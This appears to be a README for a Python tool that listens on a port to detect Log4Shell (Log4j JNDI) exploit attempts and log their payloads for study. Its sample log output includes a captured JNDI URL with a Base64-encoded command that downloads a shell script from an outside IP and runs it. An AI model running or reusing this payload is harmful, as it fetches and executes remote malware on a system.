Log4j exploit catcher, detect Log4Shell exploits and try to get payloads.

Last update: Dec 20, 2021

Overview

log4j_catcher

Log4j exploit catcher, detect Log4Shell exploits and try to get payloads. This is a basic python server that listen on a port and logs informations when a wild log4j exploit appears

Running

python3 detector.py [port]

Example:

$ sudo python3 detector.py 80
2021-12-10 23:39:59,951 INFO:Incoming connection from ('1.2.3.4', 51512)  
2021-12-10 23:40:28,997 INFO:Incoming connection from ('1.2.3.4', 37532)   
2021-12-11 03:53:36,729 INFO:Found payload jndi from ('45.137.21.9', 55378)                        
2021-12-11 03:53:36,729 INFO:URL: 45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==

Data is logged into current directory path.

Owner

EntropyQueen

GitHub Repository

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